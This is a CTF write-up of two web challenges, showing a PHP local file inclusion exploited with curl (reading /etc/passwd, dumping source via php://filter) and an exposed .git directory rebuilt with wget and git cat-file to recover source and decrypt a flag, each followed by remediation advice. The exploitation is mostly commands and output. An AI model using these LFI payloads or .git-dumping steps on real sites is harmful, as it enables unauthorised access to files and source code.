Digital Overdose Autumn 2021 CTF - Part 2: Web
During the weekend of 09.10 and 10.10, I participated in Digital Overdose Autumn 2021 CTF with @de3ev, @CatieSai, and @msdaniellearcon. Our team ended up with 2361 points, and me with 15 individual solves.

Here is part 2 of my writeup for the web challenges I solved for this CTF. Click here for part 1.
As usual, my intent on writing about these challenges is to showcase my understanding of the issues presented in each challenge, and to write recommendations on how to address them.
Web
Summary: there were only 3 challenges in this category, and I was able to solve 2 of them.
notrequired
Challenge description:
Hello I am cheemsloverboi33! I made a php website. Can you do a quick security check on it?
URL redirected to: http://ctf.bennetthackingcommunity.cf:8333/index.php?file=index.html
Instinctively, I tried to pass known OS files to see if the application was vulnerable to Local File Inclusion, and it was:
juanchoðhackbox:notrequired$ curl http://ctf.bennetthackingcommunity.cf:8333/index.php?file=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
juanchoðhackbox:notrequired$
I then spent some time figuring out the objective. I tried searching for the flag file, enumerated as much files as possible (Apache config files, php.ini, Apache logs, OS config files), checked if I could get a shell with /proc/self/environ, and if RFI was possible using http:// wrapper. None of these seemed to work.
I then tried to access index.php:
juanchoðhackbox:notrequired$ curl http://ctf.bennetthackingcommunity.cf:8333/index.php?file=index.php
<br />
<b>Fatal error</b>: Allowed memory size of 134217728 bytes exhausted (tried to allocate 20480 bytes) in <b>/var/www/html/index.php</b> on line <b>14</b><br />
juanchoðhackbox:notrequired$
Then I tried the php filter with base64:
juanchoðhackbox:notrequired$ curl http://ctf.bennetthackingcommunity.cf:8333/index.php?file=php://filter/convert.base64-encode/resource=index.php | base64 -d
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 300 100 300 0 0 1276 0 --:--:-- --:--:-- --:--:-- 1276
<?php
if(!isset($_GET["file"])){
header("location: http://ctf.bennetthackingcommunity.cf:8333/index.php?file=index.html");
exit;
}
else{
require($_GET['file']);
}
#note to myself: delete /bin/secrets.txt!
?>
juanchoðhackbox:notrequired$
It was a small PHP file that checks if the GET parameter âfileâ is not set and redirects the user to the URL accordingly.
Otherwise, it loads the file specified from the âfileâ GET parameter. This is a classic insecure PHP programming mistake that leads to Local File Inclusion that PHP programmers have to always keep in mind.
Downloaded the secret file and found the flag:
juanchoðhackbox:notrequired$ curl http://ctf.bennetthackingcommunity.cf:8333/index.php?file=/bin/secrets.txt
BUHC{r3qu1r3_1s_s0m3th1ng_9091029130()8112938121}juanchoðhackbox:notrequired$
juanchoðhackbox:notrequired$
DO{r3qu1r3_1s_s0m3th1ng_9091029130()8112938121}
Recommendations
It does not sit well with me that anyone would use the GET parameter for the filename, instead of the URL itself.
But letâs say itâs an absolute must. At the minimum, sanitize user input before passing to the require() (or require ) statement. It would also help if the path can be specified:
...
else{
require('./webfiles/' . $_GET['file']);
}
...
Also, comments are useful to complement code readability, but sometimes leaving sensitive information in them can have security implications. With that, always check source code comments for unnecessary information and clean them up accordingly.
git commit -m âwhateverâ
Challenge description:
Visit the website
So I did:
juanchoðhackbox:git-commit-m-whatever$ curl http://193.57.159.27:46140
F0iPNKLmzY9GWP1Th60N87UCRCZTIHUhcYVO8m4NseE8j38j/dQgfQrDmfQmfS5q7QFQyJ2lcFb1QesJGdbhoGgRBU6k9J6jDes3TL8u
<html>
<br>
Only if you could see the source code.
</html>juanchoðhackbox:git-commit-m-whatever$
F0iPNKLmzY9GWP1Th60N87UCRCZTIHUhcYVO8m4NseE8j38j/dQgfQrDmfQmfS5q7QFQyJ2lcFb1QesJGdbhoGgRBU6k9J6jDes3TL8u
Taking the hint that this might be a git-related challenge, by instict I visited /.git:
juanchoðhackbox:git-commit-m-whatever$ curl http://193.57.159.27:46140/.git/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.48 (Debian) Server at 193.57.159.27 Port 46140</address>
</body></html>
juanchoðhackbox:git-commit-m-whatever
The problem
It often happens that CI and build systems fail to ensure that objects for development purposes, such as package.json and .git, do not get pushed to production servers. This is a bad practice since it is possible to recreate the git directory, exposing the source code which could be proprietary.
The HTTP 403/Forbidden return code could be an indication that directory listing was not allowed, however this does not matter because it could still be possible to access files inside the directory and recreate the files inside it, as I was able to do for this challenge.
Recreating .git
To do exactly that, I had to start by researching for the directory tree of git.
juanchoðhackbox:testgit$ git init
Initialized empty Git repository in /tmp/testgit/.git/
juanchoðhackbox:testgit$ echo "elow" >> README.md
juanchoðhackbox:testgit$ git add README.md && git commit -m "elow commit"
[main (root-commit) 7ab2572] elow commit
1 file changed, 1 insertion(+)
create mode 100644 README.md
juanchoðhackbox:testgit$ tree .git
.git
âââ branches
âââ COMMIT_EDITMSG
âââ config
âââ description
âââ HEAD
âââ hooks
â  âââ applypatch-msg.sample
<snip>
â  âââ update.sample
âââ index
âââ info
â  âââ exclude
âââ logs
â  âââ HEAD
â  âââ refs
â  âââ heads
â  âââ main
âââ objects
â  âââ 31
â  â  âââ b4eb2f33ff93d6dbcf3c5e5f7ed9e1b4bc4a63
â  âââ 7a
â  â  âââ b25723ccd44c291082b01019cc1031d17ea1a2
â  âââ bf
â  â  âââ b7f9c8bee26ec6b8a5aa7bc15a8e4e801636af
â  âââ info
â  âââ pack
âââ refs
âââ heads
â  âââ main
âââ tags
15 directories, 25 files
juanchoðhackbox:testgit$
I then tired to access the files inside .git:
juanchoðhackbox:git-commit-m-whatever$ curl http://193.57.159.27:46140/.git/HEAD
ref: refs/heads/master
juanchoðhackbox:git-commit-m-whatever$ curl http://193.57.159.27:46140/.git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
juanchoðhackbox:git-commit-m-whatever$ curl http://193.57.159.27:46140/.git/description
Unnamed repository; edit this file 'description' to name the repository.
juanchoðhackbox:git-commit-m-whatever$
Perfect! Based on this information, I knew that the repository had the master branch. The goal of course was to extract the source code of the repository, by trying to rebuild .git.
The next step was to get the hash of master branchâs head:
juanchoðhackbox:git-commit-m-whatever$ curl http://193.57.159.27:46140/.git/refs/heads/master
2756250c7cd2188bdf8c4cdeddc92bcbe13f1755
juanchoðhackbox:git-commit-m-whatever$
Then, create a directory tree for objects: mkdir -p .git/objects
This next command, I had to research to figure out how the objects are structured in git. It turns out that the 1st byte of the hash is the directory name, and the remaining are same as the filename.
Verify:
juanchoðhackbox:git-commit-m-whatever$ curl -I http://193.57.159.27:46140/.git/objects/27/56250c7cd2188bdf8c4cdeddc92bcbe13f1755
HTTP/1.1 200 OK
Date: Sat, 09 Oct 2021 20:24:37 GMT
Server: Apache/2.4.48 (Debian)
Last-Modified: Fri, 08 Oct 2021 12:08:49 GMT
ETag: "8f-5cdd63dea1640"
Accept-Ranges: bytes
Content-Length: 143
juanchoðhackbox:git-commit-m-whatever$
With this, create a directory called 27, which is the first byte in 2756250c7cd2188bdf8c4cdeddc92bcbe13f1755, then download the object inside it:
juanchoðhackbox:git-commit-m-whatever$ mkdir .git/objects/27
juanchoðhackbox:git-commit-m-whatever$ wget http://193.57.159.27:46140/.git/objects/27/56250c7cd2188bdf8c4cdeddc92bcbe13f1755 -P .git/objects/27/
--2021-10-09 22:26:45-- http://193.57.159.27:46140/.git/objects/27/56250c7cd2188bdf8c4cdeddc92bcbe13f1755
Connecting to 193.57.159.27:46140... connected.
HTTP request sent, awaiting response... 200 OK
Length: 143
Saving to: â.git/objects/27/56250c7cd2188bdf8c4cdeddc92bcbe13f1755â
56250c7cd2188bdf8c4cdeddc92bcbe13f1 100%[================================================================>] 143 --.-KB/s in 0s
2021-10-09 22:26:46 (24.4 MB/s) - â.git/objects/27/56250c7cd2188bdf8c4cdeddc92bcbe13f1755â saved [143/143]
juanchoðhackbox:git-commit-m-whatever$ ls -l .git/objects/27/56250c7cd2188bdf8c4cdeddc92bcbe13f1755
-rw-r--r-- 1 juancho juancho 143 Oct 8 14:08 .git/objects/27/56250c7cd2188bdf8c4cdeddc92bcbe13f1755
juanchoðhackbox:git-commit-m-whatever$
Now, to check the object, I knew of the command git cat-file but have never used it. From the help utility, I found -t to show the type, and -p to pretty-print the object based on its type.
However:
juanchoðhackbox:git-commit-m-whatever$ git cat-file -t 2756250c7cd2188bdf8c4cdeddc92bcbe13f1755
fatal: git cat-file: could not get object info
juanchoðhackbox:git-commit-m-whatever$
I researched what else are required to be in my directory tree, and found that both HEAD and the refs/ directory tree should also be present, so I added those files.
.git/
âââ HEAD
âââ objects
â  âââ 27
â  âââ 56250c7cd2188bdf8c4cdeddc92bcbe13f1755
âââ refs
âââ heads
âââ main
Try again:
juanchoðhackbox:git-commit-m-whatever$ git cat-file -t 2756250c7cd2188bdf8c4cdeddc92bcbe13f1755
commit
juanchoðhackbox:git-commit-m-whatever$
Then read the commit object:
juanchoðhackbox:git-commit-m-whatever$ git cat-file -p 2756250c7cd2188bdf8c4cdeddc92bcbe13f1755
tree c2c1d8bde15fa2174d6acd1284d7251579b8a1b4
author elliot <macuser@Macs-MacBook-Air.local> 1633254410 +0530
committer elliot <macuser@Macs-MacBook-Air.local> 1633254410 +0530
Committed security suicide
juanchoðhackbox:git-commit-m-whatever$
And found the tree hash: c2c1d8bde15fa2174d6acd1284d7251579b8a1b4 in the commit hash. This is what I needed to reconstruct the files. Now, I did the same procedure:
juanchoðhackbox:git-commit-m-whatever$ mkdir .git/objects/c2
juanchoðhackbox:git-commit-m-whatever$ wget http://193.57.159.27:46140/.git/objects/c2/c1d8bde15fa2174d6acd1284d7251579b8a1b4 -P .git/objects/c2
--2021-10-09 22:40:02-- http://193.57.159.27:46140/.git/objects/c2/c1d8bde15fa2174d6acd1284d7251579b8a1b4
Connecting to 193.57.159.27:46140... connected.
HTTP request sent, awaiting response... 200 OK
Length: 268
Saving to: â.git/objects/c2/c1d8bde15fa2174d6acd1284d7251579b8a1b4â
c1d8bde15fa2174d6acd1284d7251579b8a 100%[================================================================>] 268 --.-KB/s in 0s
2021-10-09 22:40:02 (11.0 MB/s) - â.git/objects/c2/c1d8bde15fa2174d6acd1284d7251579b8a1b4â saved [268/268]
juanchoðhackbox:git-commit-m-whatever$ git cat-file -t c2c1d8bde15fa2174d6acd1284d7251579b8a1b4
tree
juanchoðhackbox:git-commit-m-whatever$ git cat-file -p c2c1d8bde15fa2174d6acd1284d7251579b8a1b4
040000 tree 4fbdfd5fda330754872764810dfa2c1ef46f1bb0 Crypt
040000 tree 4979a80a4c88cdbb529b51aa231caff61d9228a0 File
040000 tree 465e79b104f83169a4f95900a6a9f42b34e71892 Math
040000 tree 3a8a916693a0d0acf0320d287318d9ddd123cbe3 Net
040000 tree 072aad170b0a780723ef2c690a3fe4f5e3392830 System
100644 blob 95d5d6fbb14df57d143ec73df6dc00807f85b1db bootstrap.php
100644 blob 0d4096f89f4ea65a44c2a4038b6f931c95c5eba4 index.php
100644 blob 58a1261b18cc493ba5be1c4ef8f04d258716e419 openssl.cnf
juanchoðhackbox:git-commit-m-whatever$
Perfect. I could see all the files in the commit, and their hashes. I could then do the same procedure for all the files. But at this point, I was only interested with index.php, so I did the same steps:
juanchoðhackbox:git-commit-m-whatever$ mkdir .git/objects/0d
juanchoðhackbox:git-commit-m-whatever$ wget http://193.57.159.27:46140/.git/objects/0d/4096f89f4ea65a44c2a4038b6f931c95c5eba4 -P .git/objects/0d
--2021-10-09 22:41:48-- http://193.57.159.27:46140/.git/objects/0d/4096f89f4ea65a44c2a4038b6f931c95c5eba4
Connecting to 193.57.159.27:46140... connected.
HTTP request sent, awaiting response... 200 OK
Length: 881
Saving to: â.git/objects/0d/4096f89f4ea65a44c2a4038b6f931c95c5eba4â
4096f89f4ea65a44c2a4038b6f931c95c5e 100%[================================================================>] 881 --.-KB/s in 0s
2021-10-09 22:41:48 (28.1 MB/s) - â.git/objects/0d/4096f89f4ea65a44c2a4038b6f931c95c5eba4â saved [881/881]
juanchoðhackbox:git-commit-m-whatever$ git cat-file -t 95d5d6fbb14df57d143ec73df6dc00807f85b1db
fatal: git cat-file: could not get object info
juanchoðhackbox:git-commit-m-whatever$ git cat-file -t 0d4096f89f4ea65a44c2a4038b6f931c95c5eba4
blob
juanchoðhackbox:git-commit-m-whatever$ git cat-file -p 0d4096f89f4ea65a44c2a4038b6f931c95c5eba4
<?php
/**
* Simple sodium crypto class for PHP >= 7.2
* @author MRK
*/
class crypto {
/**
*
* @return type
*/
static public function create_encryption_key() {
return base64_encode(sodium_crypto_secretbox_keygen());
}
/**
* Encrypt a message
*
* @param string $message - message to encrypt
* @param string $key - encryption key created using create_encryption_key()
* @return string
*/
static function encrypt($message, $key) {
$key_decoded = base64_decode($key);
$nonce = random_bytes(
SODIUM_CRYPTO_SECRETBOX_NONCEBYTES
);
$cipher = base64_encode(
$nonce .
sodium_crypto_secretbox(
$message, $nonce, $key_decoded
)
);
sodium_memzero($message);
sodium_memzero($key_decoded);
return $cipher;
}
/**
* Decrypt a message
* @param string $encrypted - message encrypted with safeEncrypt()
* @param string $key - key used for encryption
* @return string
*/
static function decrypt($encrypted, $key) {
$decoded = base64_decode($encrypted);
$key_decoded = base64_decode($key);
if ($decoded === false) {
throw new Exception('Decryption error : the encoding failed');
}
if (mb_strlen($decoded, '8bit') < (SODIUM_CRYPTO_SECRETBOX_NONCEBYTES + SODIUM_CRYPTO_SECRETBOX_MACBYTES)) {
throw new Exception('Decryption error : the message was truncated');
}
$nonce = mb_substr($decoded, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES, '8bit');
$ciphertext = mb_substr($decoded, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES, null, '8bit');
$plain = sodium_crypto_secretbox_open(
$ciphertext, $nonce, $key_decoded
);
if ($plain === false) {
throw new Exception('Decryption error : the message was tampered with in transit');
}
sodium_memzero($ciphertext);
sodium_memzero($key_decoded);
return $plain;
}
}
$privatekey = "mRHpcEckKATdwDC/CwpRinDTiAYrn9lzWpTo277omKs=";
$flag = file_get_contents('../flag.txt');
$enc = crypto::encrypt($flag, $privatekey);
echo $enc;
?>
<html>
<br>
Only if you could see the source code.
</html>juanchoðhackbox:git-commit-m-whatever$
Awesome, thatâs the PHP source code for index.php, which includes both the functions to âencryptâ and âdecryptâ the flag.
Saved to a file found.php, then edited to âdecryptâ quickly:
...
// $flag = file_get_contents('../flag.txt');
// $enc = crypto::encrypt($flag, $privatekey);
// echo $enc;
$flag = crypto::decrypt("M43+1NklRs0ctadA7hjzcsdNqtcefx8zup4hd9OfEDJ1CpOM2gNsv8t05dcLqT20/qCDB1ZWnNIOfNoGs1rIsNObC7MCStG94N06ie6m", $privatekey);
echo $flag;
?>
Run:
juanchoðhackbox:git-commit-m-whatever$ php found.php
DO{y0u_d1D_1t_1908*0128123&91823182*)}juanchoðhackbox:git-commit-m-whatever$
DO{y0u_d1D_1t_19080128123&91823182)}
Recommendation
Hopefully I was able to demonstrate keeping the .git directory exposed for public access is a bad idea.
At the application layer, modern web frameworks such as Angular and Flask offer a level of protection since they can serve only specific URLs. However, this is not enough since there might be nested git directories.
As a security best-practice, developers and release engineers need to ensure that .git do not get deployed into production servers. As an example for containerized applications using Docker, it would help to add the following to .dockerignore:
**/.git
The wildcard is to ignore not only .git in the root directory, but also any nested .git directories.
Thanks for reading my writeups!